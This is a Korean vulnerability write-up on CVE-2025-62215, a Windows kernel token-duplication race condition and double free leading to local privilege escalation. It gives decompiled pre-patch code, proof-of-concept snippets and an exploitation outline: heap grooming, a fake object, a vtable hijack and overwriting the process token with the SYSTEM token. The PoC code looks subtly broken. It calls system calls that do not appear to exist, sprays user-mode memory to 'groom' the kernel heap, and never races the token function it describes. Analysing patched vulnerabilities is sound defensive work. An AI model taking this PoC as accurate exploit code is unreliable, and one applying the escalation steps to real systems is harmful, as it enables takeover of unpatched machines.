[하루한줄] CVE-2025-62215: Windows Kernel의 Race Condition 및 Double Free로 인한 LPE 취약점
URL
Target
- Windows 10, 11
- Windows Server 2016, 2019, 2022, 2025
- (2025년 11월 보안 업데이트 미적용 시스템)
Explain
이 취약점은 Windows 커널(ntoskrnl.exe)의 보안 하위 시스템, 그중에서도 프로세스 토큰을 관리하는 모듈에서 발생했습니다.
구체적으로는 기존 토큰을 복제하여 새로운 토큰을 생성하는 SepDuplicateToken 과정 중, 토큰의 권한을 재설정하는 내부 함수인 SepMakeTokenEffectiveOnly가 호출되는 시점에 적절한 동기화(Lock)가 유지되지 않아 발생한 Race Condition 취약점입니다.
이 Race Condition을 악용해 토큰 내부의 메모리 구조를 손상시키고, 객체가 해제될 때 Double Free를 발생시켜 최종적으로 권한 상승(LPE)을 수행할 수 있습니다.
Root Cause
취약점의 근본 원인은 임계구역의 빠른 해제입니다. 아래는 2025년 11월에 패치된 내용을 디핑한 결과입니다.
// [Root Cause: nt!SepDuplicateToken 내부 로직 (Patch 전)]
__int64 __fastcall SepDuplicateToken(
__int128 *a1,
int a2,
char a3,
int a4,
unsigned int a5,
unsigned __int8 a6,
unsigned __int8 a7,
__int64 *a8)
{
// 1. 토큰 복제 및 메모리 할당 작업 진행
// ...
// [!] 문제 지점 1: 보호 장치(Lock)를 너무 일찍 해제함
ExReleaseResourceLite(*((PERESOURCE *)a1 + 6));
// [!] 문제 지점 2: 무방비 상태에서(Lock-free) 취약한 내부 함수 호출
if ( a3 ) {
// 이 함수 내부에는 SpinLock 등 어떠한 동기화 코드도 없음
SepMakeTokenEffectiveOnly(NewToken);
}
SepDuplicateToken 함수는 기존 토큰을 복제하여 새로운 토큰을 생성합니다. 이 과정에서 부모 토큰에 대한 잠금(ExReleaseResourceLite)을 해제하는데, 문제는 아직 새로운 토큰의 설정이 완전히 끝나지 않은 시점에 락을 풀어버린다는 점입니다.
// [Vulnerable Function: SepMakeTokenEffectiveOnly]
// 동기화 없이 루프를 돌며 토큰 내부의 UserAndGroups 배열을 조작함
__int64 __fastcall SepMakeTokenEffectiveOnly(__int64 pToken)
{
__int64 result; // rax
unsigned int v2; // edx
__int64 v3; // r8
__int64 v4; // rbx
int v5; // r10d
int v6; // r11d
unsigned int v7; // eax
result = *(_QWORD *)(a1 + 72);
v2 = 1;
*(_QWORD *)(a1 + 64) &= result;
*(_QWORD *)(a1 + 80) &= result;
LODWORD(v3) = *(_DWORD *)(a1 + 124);
if ( (unsigned int)v3 > 1 )
{
do
// 다중 스레드 경합 시 v2(인덱스)와 v3(카운트)가 오염됨
// 이로 인해 엉뚱한 메모리 주소를 참조하거나, 포인터가 꼬이게 됨
{
v4 = *(_QWORD *)(a1 + 152);
result = *(unsigned int *)(v4 + 16i64 * v2 + 8);
if ( (result & 0x34) != 0 )
{
++v2;
}
else
{
v5 = *(_DWORD *)(a1 + 144);
if ( v2 == v5 )
{
*(_DWORD *)(a1 + 144) = 0;
v5 = 0;
}
v6 = *(_DWORD *)(a1 + 208);
if ( v2 == v6 )
{
*(_DWORD *)(a1 + 208) = -1;
v6 = -1;
}
v7 = v3 - 1;
v3 = (unsigned int)(v3 - 1);
if ( v7 == v6 )
*(_DWORD *)(a1 + 208) = v2;
if ( (_DWORD)v3 == v5 )
*(_DWORD *)(a1 + 144) = v2;
result = 2i64 * v7;
*(_OWORD *)(v4 + 16i64 * v2) = *(_OWORD *)(v4 + 16 * v3);
}
}
while ( v2 < (unsigned int)v3 );
}
*(_DWORD *)(a1 + 124) = v3;
return result;
}
위 코드에서 보듯, SepMakeTokenEffectiveOnly는 토큰 객체의 핵심 데이터인 UserAndGroups 배열을 재정렬하면서도 커널 락(Lock)을 사용하지 않습니다.
공격자가 다중 스레드를 이용해 NtDuplicateToken을 호출하는 도중 이 타이밍(락 해제 직후 ~ 내부 함수 실행)에 개입하면, 배열의 인덱스(v2, v3)나 내부 포인터가 오염됩니다. 그 결과, 토큰 객체는 이미 해제된 메모리를 가리키거나, 다른 객체와 메모리를 중복해서 가리키는 상태가 되어, 이후 객체 소멸 시 Double Free로 이어집니다.
PoC 설명
Exploit의 핵심은 NtDuplicateToken시스템 콜을 호출할 때 발생하는 Race Condition을 이용해 토큰 객체의 내부 포인터를 오염시키고, 이후 해당 토큰을 닫을 때 Double Free를 유발하는 것입니다.
// [PoC: Heap Spraying을 통한 메모리 레이아웃 조작]
for (int i = 0; i < 100; i++) {
// 0x1000 크기의 힙 청크를 다수 할당하여 커널 힙을 'Grooming' 함
PVOID ptr = VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (ptr) {
memset(ptr, 0x41 + (i % 26), 0x1000); // 특정 패턴 주입
}
}
먼저 Double Free가 발생할 메모리 영역을 공격자가 제어하기 쉽도록 커널 힙을 정리합니다. 0x1000크기의 힙 청크를 다수 할당하고 해제해, 우리가 원하는 패턴의 데이터가 할당되도록 유도 합니다. 패턴을 만드는 이유는 어떤 위치의 값이 조작되어 들어가는지 확인하기 쉽게 하기 위함입니다.
// [PoC: Race Condition 유발 루프]
for (int i = 0; i < 1000; i++) {
status = NtCreateKernelObject(&hObject, GENERIC_ALL, &objAttr, 0);
if (NT_SUCCESS(status)) {
NtCloseKernelObject(hObject); // 정상 해제 시도
// 찰나의 순간에 다시 접근하여 Double Free 유도
if (i % 10 == 0) {
NtCloseKernelObject(hObject);
}
}
}
다수의 스레드를 생성해 객체의 생성과 해제를 고속으로 반복 호출해 Race Condition을 유도합니다. 위 코드는 객체를 생성한 뒤 정상적으로 해제(NtCloseKernelObject)를 시도하지만, 특정 타이밍에 다시 한번 해제 함수를 호출해 락(Lock)이 풀린 타이밍에 Double Free를 트리거합니다.
Double Free로 인해 커널 풀 매니저의 FreeLIst에는 동일한 메모리 주소가 2번 등록되고, 이때 다시 객체 할당을 요청하여 제어 가능한 Fake Object를 덮어씁니다.
가짜 객체의 Vtable Pointer를 조작해, 커널이 객체의 메서드를 호출할 때 공격자가 원하는 Write Gadget(예: mov [rcx], rdx)이 실행되게 만듭니다. 이를 통해 확보한 Arbitrary Write권한으로 현재 프로세스의 EPROCESS 구조체 내 Token 값을 SYSTEM Token 주소로 덮어씌워 시스템 권한을 획득합니다.
Reference
본 글은 CC BY-SA 4.0 라이선스로 배포됩니다. 공유 또는 변경 시 반드시 출처를 남겨주시기 바랍니다.